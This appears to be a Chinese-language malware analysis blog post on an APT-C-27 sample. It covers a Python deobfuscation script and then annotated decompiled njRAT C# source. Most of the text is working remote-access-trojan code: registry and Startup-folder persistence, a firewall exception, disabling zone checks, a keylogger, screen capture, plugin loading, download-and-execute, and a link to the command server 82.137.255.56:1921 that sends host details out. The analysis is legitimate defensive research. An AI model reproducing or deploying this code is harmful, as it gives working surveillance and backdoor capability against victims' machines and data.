    x = Strings.Replace(x, "율", "h", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "尺", "i", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "월", "j", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "弓", "k", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "원", "l", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "七", "m", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "웅", "n", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "臼", "o", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "울", "p", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "人", "q", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "운", "r", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "山", "s", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "옴", "t", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "父", "u", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "왕", "v", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "了", "w", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "왜", "x", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "乙", "y", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "에", "z", 1, -1, CompareMethod.Binary);
    return x;
}

用python2 跑此脚本

# -*- coding:utf-8 -*-
with open('1717.txt', 'rb') as f:
    tmpdata = f.read()

def RepBase64(x):
    x = x.replace("升", "AAAA")
    x = x.replace("丁", "B")
    x = x.replace("읍", "C")
    x = x.replace("알", "D")
    x = x.replace("앞", "E")
    x = x.replace("巨", "F")
    x = x.replace("얘", "G")
    x = x.replace("下", "H")
    x = x.replace("ᄍ", "I")
    x = x.replace("工", "J")
    x = x.replace("ᄊ", "K")
    x = x.replace("三", "L")
    x = x.replace("ᄈ", "M")
    x = x.replace("水", "N")
    x = x.replace("응", "O")
    x = x.replace("心", "P")
    x = x.replace("앙", "Q")
    x = x.replace("冊", "R")
    x = x.replace("음", "S")
    x = x.replace("內", "T")
    x = x.replace("ד", "U")
    x = x.replace("官", "V")
    x = x.replace("악", "W")
    x = x.replace("匹", "X")
    x = x.replace("안", "Y")
    x = x.replace("力", "Z")
    x = x.replace("月", "a")
    x = x.replace("을", "b")
    x = x.replace("ސ", "c")
    x = x.replace("임", "d")
    x = x.replace("戶", "e")
    x = x.replace("잎", "f")
    x = x.replace("已", "g")
    x = x.replace("율", "h")
    x = x.replace("尺", "i")
    x = x.replace("월", "j")
    x = x.replace("弓", "k")
    x = x.replace("원", "l")
    x = x.replace("七", "m")
    x = x.replace("웅", "n")
    x = x.replace("臼", "o")
    x = x.replace("울", "p")
    x = x.replace("人", "q")
    x = x.replace("운", "r")
    x = x.replace("山", "s")
    x = x.replace("옴", "t")
    x = x.replace("父", "u")
    x = x.replace("왕", "v")
    x = x.replace("了", "w")
    x = x.replace("왜", "x")
    x = x.replace("乙", "y")
    x = x.replace("에", "z")
    return x

if __name__ == '__main__':
    aaa = RepBase64(tmpdata)
    with open('aaa.txt', 'wb') as f:
        f.write(aaa)

aaa.txt用base64解码得到

识别不出来 用010Editor打开 看到在MZ之前多出三个字节

识别后

njRAT后门程序

File: aaa.txt
SHA1: 0fac7e1855f34c69a27355f374cf7c1b5468e5e8
MD5: 3ceb6f12c6c2fba4d5cafeefb3fd1264

这个拼得不对是因为 之前拼的资源文件提取出来时每个文件前面都多了 三个空字节

要把这些全部删掉才能识别准确

njRATh函数构成

ko()

“`c#
public static void ko()
{
if (Interaction.Command() != null)//判断cmd是不是空的
{
try
{
OK.F.Registry.CurrentUser.SetValue("di", "!");//设置注册表值
//Computer F = new Computer();
}
catch (Exception ex)
{}
Thread.Sleep(5000);
}
bool flag = false;
OK.MT = new Mutex(true, OK.RG, ref flag);//设置互斥锁;RG="001c01720a7ec79d3fe1c2ac1403d75b";
if (!flag)
{
ProjectData.EndApp();
}
OK.INS(); //关闭附件管理器检查 添加防火墙白名单
if (!OK.Idr) //Idr = Conversions.ToBoolean("False");
{
OK.EXE = OK.LO.Name;//EXE = "server.exe";
//LO = new FileInfo(Assembly.GetEntryAssembly().Location);
OK.DR = OK.LO.Directory.Name;//DR = "TEMP";
}
Thread thread = new Thread(new ThreadStart(OK.RC), 1);//RC()—>OK.connect();连接"82.137.255.56：1921";被控端发送数据
thread.Start();
try
{
OK.kq = new kl();//kl kq = null;
thread = new Thread(new ThreadStart(OK.kq.WRK), 1);//WRK是监听键盘输入并记录按键信息
thread.Start();
}
catch (Exception ex2)
{}
int num = 0;
string left = "";
if (OK.BD)//BD = Conversions.ToBoolean("False");
{
try
{
SystemEvents.SessionEnding += delegate(object a0, SessionEndingEventArgs a1)
{
OK.ED();//ED()—>pr(0)
};
OK.pr(1);//检索进程,获取进程信息
}
catch (Exception ex3)
{}
}
//被控端第三次发送数据<br />
checked
{
for (;;)
{
Thread.Sleep(1000);
if (!OK.Cn)//Cn = false;
{
left = "";
}
Application.DoEvents();
try
{
num++;
if (num == 5)
{
try
{
Process.GetCurrentProcess().MinWorkingSet = (IntPtr)1024;
}
catch (Exception ex4)
{}
}
if (num >= 8)//窗口标题每隔8秒更新一次。<br />
{
num = 0;
string text = OK.ACT();
if (Operators.CompareString(left, text, false) != 0)
{//left与当前的窗口标题text对比，不同则将left修改为当前窗口标题并向C2服务器发送修改的数据。<br />
left = text;//left存储旧窗口标题。
OK.Send("act" + OK.Y + text);//Y = "U|S1M7|r";
}
}
if (OK.Isu)//Isu = Conversions.ToBoolean("False");
{
try
{
if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.CurrentUser.GetValue(OK.sf + "\" + OK.RG, ""), "\"" + OK.LO.FullName + "\" ..", false))
{
OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
}
}
catch (Exception ex5)
{}
try
{
if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.LocalMachine.GetValue(OK.sf + "\" + OK.RG, ""), "\"" + OK.LO.FullName + "\" ..", false))
//sf = "Software\Microsoft\Windows\";
//RG = "001c01720a7ec79d3fe1c2ac1403d75b";
//LO = new FileInfo(Assembly.GetEntryAssembly().Location);
{
OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
}
}
catch (Exception ex6)
{}
}
}
catch (Exception ex7)
{}
}
}
}

<pre><code class="line-numbers">##### INS() 关闭附件管理器检查 添加防火墙白名单

“`c#
public static void INS()
{
Thread.Sleep(1000);
if (OK.Idr)//Idr=Conversions.ToBoolean(“False”);
{
if (!OK.CompDir(OK.LO, new FileInfo(Interaction.Environ(OK.DR).ToLower() + “\” + OK.EXE.ToLower())))//获取文件路径
//LO = new FileInfo(Assembly.GetEntryAssembly().Location);
//DR = “TEMP”;EXE = “server.exe”;
{
try
{//如果文件存在就删除
if (File.Exists(Interaction.Environ(OK.DR) + “\” + OK.EXE))
{
File.Delete(Interaction.Environ(OK.DR) + “\” + OK.EXE);
}
FileStream fileStream = new FileStream(Interaction.Environ(OK.DR) + “\” + OK.EXE, FileMode.CreateNew);
byte[] array = File.ReadAllBytes(OK.LO.FullName);
fileStream.Write(array, 0, array.Length);
fileStream.Flush();//缓存 缓冲
fileStream.Close();
OK.LO = new FileInfo(Interaction.Environ(OK.DR) + “\” + OK.EXE);
Process.Start(OK.LO.FullName);
ProjectData.EndApp();
}
catch (Exception ex)
{
ProjectData.EndApp();
}
}
}
try
{
Environment.SetEnvironmentVariable(“SEE_MASK_NOZONECHECKS”, “1”, EnvironmentVariableTarget.User);//关闭附件管理器检查;增加全局的环境变量SEE_MASK_NOZONECHECKS，设置值为1.
}
catch (Exception ex2)
{}
try
{
Interaction.Shell(string.Concat(new string[]
{//设置防火墙 添加防火墙白名单
“Exceptiona firewall add allowedprogram \””,
OK.LO.FullName,
“\” \””,
OK.LO.Name,
“\” ENABLE”
}), AppWinStyle.Hide, true, 5000);
}
catch (Exception ex3)
{}
if (OK.Isu)
{
try
{//设置自启动项
OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, “\”” + OK.LO.FullName + “\” ..”);//sf = “Software\Microsoft\Windows\”;RG = “001c01720a7ec79d3fe1c2ac1403d75b”;
}
catch (Exception ex4)
{}
try
{
OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, “\”” + OK.LO.FullName + “\” ..”);
}
catch (Exception ex5)
{}
}
if (OK.IsF)
{
try
{//复制文件到Windows自启动文件夹，并修改文件名为001c01720a7ec79d3fe1c2ac1403d75b.exe
File.Copy(OK.LO.FullName, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + “\” + OK.RG + “.exe”, true);
OK.FS = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + “\” + OK.RG + “.exe”, FileMode.Open);
}
catch (Exception ex6)
{}
}
}

RC()被控端发送的数据；

“`c#
public static void RC()
{
checked
{
for (;;)
{
OK.lastcap = "";
if (OK.C != null)
{
long num = -1L;
int num2 = 0;
try
{
for (;;)
{
IL_1B:
num2++;
if (num2 == 10)
{
num2 = 0;
Thread.Sleep(1);
}
if (!OK.Cn)
{break;}
if (OK.C.Available < 1)
{
OK.C.Client.Poll(-1, SelectMode.SelectRead);
}
while (OK.C.Available != 0)
{
if (num != -1L)
{
OK.b = new byte[OK.C.Available + 1];
long num3 = num – OK.MeM.Length;
//MeM = new MemoryStream();
if (unchecked((long)OK.b.Length) > num3)
{//b = new byte[5121];
OK.b = new byte[(int)(num3 – 1L) + 1];
}
int count = OK.C.Client.Receive(OK.b, 0, OK.b.Length, SocketFlags.None);
OK.MeM.Write(OK.b, 0, count);

<pre><code> if (OK.MeM.Length == num)
{
num = -1L;
Thread thread = new Thread(delegate(object a0)
{ ///////****//////
OK.Ind((byte[])a0);
}, 1);
thread.Start(OK.MeM.ToArray());
thread.Join(100);//接入网络
OK.MeM.Dispose();//close
OK.MeM = new MemoryStream();
}
goto IL_1B;
}
string text = "";
for (;;)
{
int num4 = OK.C.GetStream().ReadByte();
if (num4 == -1)
{
goto Block_9;
}
if (num4 == 0)
{break;}
text += Conversions.ToString(Conversions.ToInteger(Strings.ChrW(num4).ToString()));
}
num = Conversions.ToLong(text);
if (num == 0L)
{
OK.Send("");
num = -1L;
}
if (OK.C.Available <= 0)
{goto IL_1B;}
}
break;
}
Block_9:;
}
catch (Exception ex)
{}
}
do
{
try
{
if (OK.PLG != null)
{
NewLateBinding.LateCall(OK.PLG, null, "clear", new object[0], null, null, null, true);
OK.PLG = null;
}
}
catch (Exception ex2)
{}
OK.Cn = false;
}///////****//////
while (!OK.connect());//联外网
OK.Cn = true;
}
}
</code></pre>

}

<pre><code class="line-numbers">###### Ind() 下载执行

“`c#
public static void Ind(byte[] b)
{
string[] array = Strings.Split(OK.BS(ref b), OK.Y, -1, CompareMethod.Binary);
checked
{
try
{
string left = array[0];
if (Operators.CompareString(left, “ll”, false) == 0)
{
OK.Cn = false;
}
else if (Operators.CompareString(left, “kl”, false) == 0)
{
OK.Send(“kl” + OK.Y + OK.ENB(ref OK.kq.Logs));
}
else if (Operators.CompareString(left, “prof”, false) == 0)
{
string left2 = array[1];
if (Operators.CompareString(left2, “~”, false) == 0)
{
OK.STV(array[2], array[3], RegistryValueKind.String);
}
else if (Operators.CompareString(left2, “!”, false) == 0)
{
OK.STV(array[2], array[3], RegistryValueKind.String);
OK.Send(Conversions.ToString(Operators.ConcatenateObject(“getvalue” + OK.Y + array[1] + OK.Y, OK.GTV(array[1], “”))));
}
else if (Operators.CompareString(left2, “@”, false) == 0)
{
OK.DLV(array[2]);
}
}
else
{//主控端发送链接，由于不含标识符”1f”，使用DownloadData方法下载并执行。
if (Operators.CompareString(left, “rn”, false) == 0)
{
byte[] bytes;
if (array[2][0] == ‘\u001f’)
{
try
{
MemoryStream memoryStream = new MemoryStream();
int length = (array[0] + OK.Y + array[1] + OK.Y).Length;
memoryStream.Write(b, length, b.Length – length);
bytes = OK.ZIP(memoryStream.ToArray);//主控端文件的内容会使用ZIP压缩
goto IL_20B;
}
catch (Exception ex)
{
OK.Send(“MSG” + OK.Y + “Execute ERROR”);
OK.Send(“bla”);
return;
}
}
WebClient webClient = new WebClient();
try
{
bytes = webClient.DownloadData(array[2]);
}
catch (Exception ex2)
{
OK.Send(“MSG” + OK.Y + “Download ERROR”);
OK.Send(“bla”);
return;
}
IL_20B:
OK.Send(“bla”);
string text = Path.GetTempFileName() + “.” + array[1];
try
{
File.WriteAllBytes(text, bytes);
Process.Start(text);
OK.Send(“MSG” + OK.Y + “Executed As ” + new FileInfo(text).Name);
return;
}
catch (Exception ex3)
{
OK.Send(“MSG” + OK.Y + “Execute ERROR ” + ex3.Message);
return;
}
}
if (Operators.CompareString(left, “inv”, false) == 0)
{
byte[] array2 = (byte[])OK.GTV(array[1], new byte[0]);
if (array[3].Length < 10 & array2.Length == 0)
{
OK.Send(string.Concat(new string[]
{
“pl”,OK.Y,
array[1],OK.Y,
Conversions.ToString(1)
}));
}
else
{
if (array[3].Length > 10)
{
MemoryStream memoryStream2 = new MemoryStream();
int length2 = string.Concat(new string[]
{
array[0],OK.Y,
array[1],OK.Y,
array[2],OK.Y
}).Length;
memoryStream2.Write(b, length2, b.Length – length2);
array2 = OK.ZIP(memoryStream2.ToArray());
OK.STV(array[1], array2, RegistryValueKind.Binary);
}
OK.Send(string.Concat(new string[]
{
“pl”,OK.Y,array[1],OK.Y,Conversions.ToString(0)
}));
object objectValue = RuntimeHelpers.GetObjectValue(OK.Plugin(array2, “A”));
NewLateBinding.LateSet(objectValue, null, “h”, new object[]
{
OK.H
}, null, null);
NewLateBinding.LateSet(objectValue, null, “p”, new object[]
{
OK.P
}, null, null);
NewLateBinding.LateSet(objectValue, null, “osk”, new object[]
{
array[2]
}, null, null);
NewLateBinding.LateCall(objectValue, null, “start”, new object[0], null, null, null, true);
while (!Conversions.ToBoolean(Operators.OrObject(!OK.Cn, Operators.CompareObjectEqual(NewLateBinding.LateGet(objectValue, null, “Off”, new object[0], null, null, null), true, false))))
{
Thread.Sleep(1);
}
NewLateBinding.LateSet(objectValue, null, “off”, new object[]
{
true
}, null, null);
}
}
else if (Operators.CompareString(left, “ret”, false) == 0)
{
byte[] array3 = (byte[])OK.GTV(array[1], new byte[0]);
if (array[2].Length < 10 & array3.Length == 0)
{
OK.Send(string.Concat(new string[]
{
“pl”,OK.Y,
array[1],OK.Y,
Conversions.ToString(1)
}));
}
else
{
if (array[2].Length > 10)
{
MemoryStream memoryStream3 = new MemoryStream();
int length3 = (array[0] + OK.Y + array[1] + OK.Y).Length;
memoryStream3.Write(b, length3, b.Length – length3);
array3 = OK.ZIP(memoryStream3.ToArray());
OK.STV(array[1], array3, RegistryValueKind.Binary);
}
OK.Send(string.Concat(new string[]
{
“pl”,OK.Y,
array[1],OK.Y,
Conversions.ToString(0)
}));
object objectValue2 = RuntimeHelpers.GetObjectValue(OK.Plugin(array3, “A”));
string[] array4 = new string[5];
array4[0] = “ret”;
array4[1] = OK.Y;
array4[2] = array[1];
array4[3] = OK.Y;
string[] array5 = array4;
int num = 4;
string text2 = Conversions.ToString(NewLateBinding.LateGet(objectValue2, null, “GT”, new object[0], null, null, null));
array5[num] = OK.ENB(ref text2);
OK.Send(string.Concat(array4));
}
}
else if (Operators.CompareString(left, “CAP”, false) == 0)
{
int width = Screen.PrimaryScreen.Bounds.Width;
Rectangle bounds = Screen.PrimaryScreen.Bounds;
Bitmap bitmap = new Bitmap(width, bounds.Height, PixelFormat.Format16bppRgb555);
Graphics graphics = Graphics.FromImage(bitmap);
Graphics graphics2 = graphics;
int sourceX = 0;
int sourceY = 0;
int destinationX = 0;
int destinationY = 0;
Size size = new Size(bitmap.Width, bitmap.Height);
graphics2.CopyFromScreen(sourceX, sourceY, destinationX, destinationY, size, CopyPixelOperation.SourceCopy);
try
{
Cursor @default = Cursors.Default;
Graphics g = graphics;
Point position = Cursor.Position;
size = new Size(32, 32);
bounds = new Rectangle(position, size);
@default.Draw(g, bounds);
}
catch (Exception ex4)
{
}
graphics.Dispose();
Bitmap bitmap2 = new Bitmap(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
graphics = Graphics.FromImage(bitmap2);
graphics.DrawImage(bitmap, 0, 0, bitmap2.Width, bitmap2.Height);
graphics.Dispose();
MemoryStream memoryStream4 = new MemoryStream();
string text2 = “CAP” + OK.Y;
b = OK.SB(ref text2);
memoryStream4.Write(b, 0, b.Length);
MemoryStream memoryStream5 = new MemoryStream();
bitmap2.Save(memoryStream5, ImageFormat.Jpeg);
string left3 = OK.md5(memoryStream5.ToArray());
if (Operators.CompareString(left3, OK.lastcap, false) != 0)
{
OK.lastcap = left3;
memoryStream4.Write(memoryStream5.ToArray(), 0, (int)memoryStream5.Length);
}
else
{
memoryStream4.WriteByte(0);
}
OK.Sendb(memoryStream4.ToArray());
memoryStream4.Dispose();
memoryStream5.Dispose();
bitmap.Dispose();
bitmap2.Dispose();
}
else if (Operators.CompareString(left, “un”, false) == 0)
{
string left4 = array[1];
if (Operators.CompareString(left4, “~”, false) == 0)
{
OK.UNS();
}
else if (Operators.CompareString(left4, “!”, false) == 0)
{
OK.pr(0);
ProjectData.EndApp();
}
else if (Operators.CompareString(left4, “@”, false) == 0)
{
OK.pr(0);
Process.Start(OK.LO.FullName);
ProjectData.EndApp();
}
}
else if (Operators.CompareString(left, “up”, false) == 0)
{
byte[] bytes2 = null;
if (array[1][0] == ‘\u001f’)
{
try
{
MemoryStream memoryStream6 = new MemoryStream();
int length4 = (array[0] + OK.Y).Length;
memoryStream6.Write(b, length4, b.Length – length4);
bytes2 = OK.ZIP(memoryStream6.ToArray());
goto IL_97B;
}
catch (Exception ex5)
{
OK.Send(“MSG” + OK.Y + “Update ERROR”);
OK.Send(“bla”);
return;
}
}
WebClient webClient2 = new WebClient();
try
{
bytes2 = webClient2.DownloadData(array[1]);
}
catch (Exception ex6)
{
OK.Send(“MSG” + OK.Y + “Update ERROR”);
OK.Send(“bla”);
return;
}
IL_97B:
OK.Send(“bla”);
string text3 = Path.GetTempFileName() + “.exe”;
try
{
OK.Send(“MSG” + OK.Y + “Updating To ” + new FileInfo(text3).Name);
Thread.Sleep(2000);
File.WriteAllBytes(text3, bytes2);
Process.Start(text3, “..”);
}
catch (Exception ex7)
{
OK.Send(“MSG” + OK.Y + “Update ERROR ” + ex7.Message);
return;
}
OK.UNS();
}
else if (Operators.CompareString(left, “Ex”, false) == 0)
{
if (OK.PLG == null)
{
OK.Send(“PLG”);
int num2 = 0;
while (!(OK.PLG != null | num2 == 20 | !OK.Cn))
{
num2++;
Thread.Sleep(1000);
}
if (OK.PLG == null | !OK.Cn)
{
return;
}
}
object plg = OK.PLG;
Type type = null;
string memberName = “ind”;
object[] array6 = new object[]
{
b
};
object[] arguments = array6;
string[] argumentNames = null;
Type[] typeArguments = null;
bool[] array7 = new bool[]
{
true
};
NewLateBinding.LateCall(plg, type, memberName, arguments, argumentNames, typeArguments, array7, true);
if (array7[0])
{
b = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array6[0]), typeof(byte[]));
}
}
else if (Operators.CompareString(left, “PLG”, false) == 0)
{
MemoryStream memoryStream7 = new MemoryStream();
int length5 = (array[0] + OK.Y).Length;
memoryStream7.Write(b, length5, b.Length – length5);
OK.PLG = RuntimeHelpers.GetObjectValue(OK.Plugin(OK.ZIP(memoryStream7.ToArray()), “A”));
NewLateBinding.LateSet(OK.PLG, null, “H”, new object[]
{
OK.H
}, null, null);
NewLateBinding.LateSet(OK.PLG, null, “P”, new object[]
{
OK.P
}, null, null);
NewLateBinding.LateSet(OK.PLG, null, “c”, new object[]
{
OK.C
}, null, null);
}
}
}
catch (Exception ex8)
{
if (array.Length > 0 && (Operators.CompareString(array[0], “Ex”, false) == 0 | Operators.CompareString(array[0], “PLG”, false) == 0))
{
OK.PLG = null;
}
tryg
{
OK.Send(string.Concat(new string[]
{
“ER”,OK.Y,
array[0],OK.Y,
ex8.Message
}));
}
catch (Exception ex9)
{
}
}
}
}

connect() 连接”82.137.255.56：1921″

“`c#
public static bool connect()
{
OK.Cn = false;
Thread.Sleep(2000);
FileInfo lo = OK.LO;
lock (lo)
{
try
{
if (OK.C != null)
{
try
{
OK.C.Close();
OK.C = null;
}
catch (Exception ex)
{}
}
try
{
OK.MeM.Dispose();
}
catch (Exception ex2)
{}
}
catch (Exception ex3)
{}
try
{
OK.MeM = new MemoryStream();
OK.C = new TcpClient();
OK.C.ReceiveBufferSize = 204800;
OK.C.SendBufferSize = 204800;
OK.C.Client.SendTimeout = 10000;
OK.C.Client.ReceiveTimeout = 10000;
OK.C.Connect(OK.H, Conversions.ToInteger(OK.P));//H = "82.137.255.56";P = "1921";
OK.Cn = true;
OK.Send(OK.inf());//被控端发送数据
try
{
string text;
if (Operators.ConditionalCompareObjectEqual(OK.GTV("vn", ""), "", false))
{
text = text + OK.DEB(ref OK.VN) + "\r\n";
}
else
{
string str = text;
string text2 = Conversions.ToString(OK.GTV("vn", ""));
text = str + OK.DEB(ref text2) + "\r\n";
}
//将IP,端口，路径，以及姓名等拼接成一个字符串，该字符串先转换为UTF-8编码的字节数组
text = string.Concat(new string[]
{
text,OK.H,//H = "82.137.255.56"
":",OK.P,//P = "1921"
"\r\n"
});
text = text + OK.DR + "\r\n";
text = text + OK.EXE + "\r\n";
text = text + Conversions.ToString(OK.Idr) + "\r\n";
text = text + Conversions.ToString(OK.IsF) + "\r\n";
text = text + Conversions.ToString(OK.Isu) + "\r\n";
text += Conversions.ToString(OK.BD);//将字节数组转换为Base64编码的字符串
OK.Send("inf" + OK.Y + OK.ENB(ref text));//发送数据
}
catch (Exception ex4)
{}
}
catch (Exception ex5)
{
OK.Cn = false;
}
}
return OK.Cn;
}

<pre><code class="line-numbers">###### Inf() 被控端发送数据；获取主机信息

“`c#
public static string inf()
{
string text = “ll” + OK.Y;//创建一个固定字符串作为标识符;Y=U|S1M7|r;
try
{//打开注册表中创建的子键，判断是否存在vn值，不存在则拼接
if (Operators.ConditionalCompareObjectEqual(OK.GTV(“vn”, “”), “”, false))
{//GTV获取系统驱动器的序列号并转换为16进制字符串存储
string str = text;
string text2 = OK.DEB(ref OK.VN) + “” + OK.HWD();//VN = “SGFyYXN0YW55”;HWD值是系统卷的序列号
text = str + OK.ENB(ref text2) + OK.Y;
}//ENB Base64解码
else
{
string str2 = text;
string text2 = Conversions.ToString(OK.GTV(“vn”, “”));
string text3 = OK.DEB(ref text2) + “” + OK.HWD();
text = str2 + OK.ENB(ref text3) + OK.Y;
}
}
catch (Exception ex)
{
string str3 = text;
string text3 = OK.HWD();
text = str3 + OK.ENB(ref text3) + OK.Y;
}
try
{
text = text + Environment.MachineName + OK.Y;
}
//获取主机名，用户名，并对操作系统的名称进行处理。
catch (Exception ex2)
{
text = text + “??” + OK.Y;
}
try
{
text = text + Environment.UserName + OK.Y;
}
catch (Exception ex3)
{
text = text + “??” + OK.Y;
}
try
{
text = text + OK.LO.LastWriteTime.Date.ToString(“yy-MM-dd”) + OK.Y;
}
catch (Exception ex4)
{
text = text + “??-??-??” + OK.Y;
}
text = text + “” + OK.Y;
try
{
text += OK.F.Info.OSFullName.Replace(“Microsoft”, “”).Replace(“Windows”, “Win”).Replace(“®”, “”).Replace(“™”, “”).Replace(” “, ” “).Replace(” Win”, “Win”);
}
catch (Exception ex5)
{
text += “??”;
}
text += “SP”;
try
{
string[] array = Strings.Split(Environment.OSVersion.ServicePack, ” “, -1, CompareMethod.Binary);
if (array.Length == 1)
{
text += “0”;
}
text += array[checked(array.Length – 1)];
}
catch (Exception ex6)
{
text += “0”;
}
try
{
if (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Contains(“x86″))
{
text = text + ” x64″ + OK.Y;
}
else
{
text = text + ” x86″ + OK.Y;
}
}
catch (Exception ex7)
{
text += OK.Y;
}
if (OK.Cam())
{
text = text + “Yes” + OK.Y;
}
else
{
text = text + “No” + OK.Y;
}
text = text + OK.VR + OK.Y;
text = text + “..” + OK.Y;
text = text + OK.ACT() + OK.Y;
string text4 = “”;
try
{
foreach (string text5 in OK.F.Registry.CurrentUser.CreateSubKey(“Software\” + OK.RG, RegistryKeyPermissionCheck.Default).GetValueNames())
{
if (text5.Length == 32)
{
text4 = text4 + text5 + “,”;
}
}
}
catch (Exception ex8)
{
}
return text + text4;
}

WRK()监听键盘输入并记录按键信息

c#
public void WRK()
{
this.Logs = Conversions.ToString(OK.GTV(this.vn, ""));//GTV设置注册表键值
checked
{
try
{
int num = 0;
for (;;)
{
num++;
int num2 = 0;
do
{
if (kl.GetAsyncKeyState(num2) == -32767 & !OK.F.Keyboard.CtrlKeyDown)
{
Keys k = (Keys)num2;
string text = this.Fix(k);//键盘监控
if (text.Length > 0)
{
this.Logs += this.AV();//记录按键信息
this.Logs += text;
}
this.lastKey = k;
}
num2++;
}
while (num2 <= 255);
if (num == 1000)
{
num = 0;
int num3 = Conversions.ToInteger("20") * 1024;
if (this.Logs.Length > num3)
{
this.Logs = this.Logs.Remove(0, this.Logs.Length - num3);
}
OK.STV(this.vn, this.Logs, RegistryValueKind.String);//注册表设置
}
Thread.Sleep(1);
}
}
catch (Exception ex)
{
}
}
}

参考：

黄金鼠APT-C-27移动攻击活动披露 – 安全内参 | 决策者的网络安全知识库 (secrss.com)

APT-C-27(黄金鼠)攻击文档分析 – 吾爱破解 – 52pojie.cn

8fd0baf351e81fd5e7882227eba69298.pdf (qianxin.com)

基于CVE-2018-20250的漏洞的漏洞分析与APT-C-27(黄金鼠)攻击文档分析-CSDN博客

【漏洞复现】WinRAR目录穿越漏洞（CVE-2018-20250）复现 – fox-yu – 博客园 (cnblogs.com)

经典病毒上线流量分析-njRAT – FreeBuf网络安全行业门户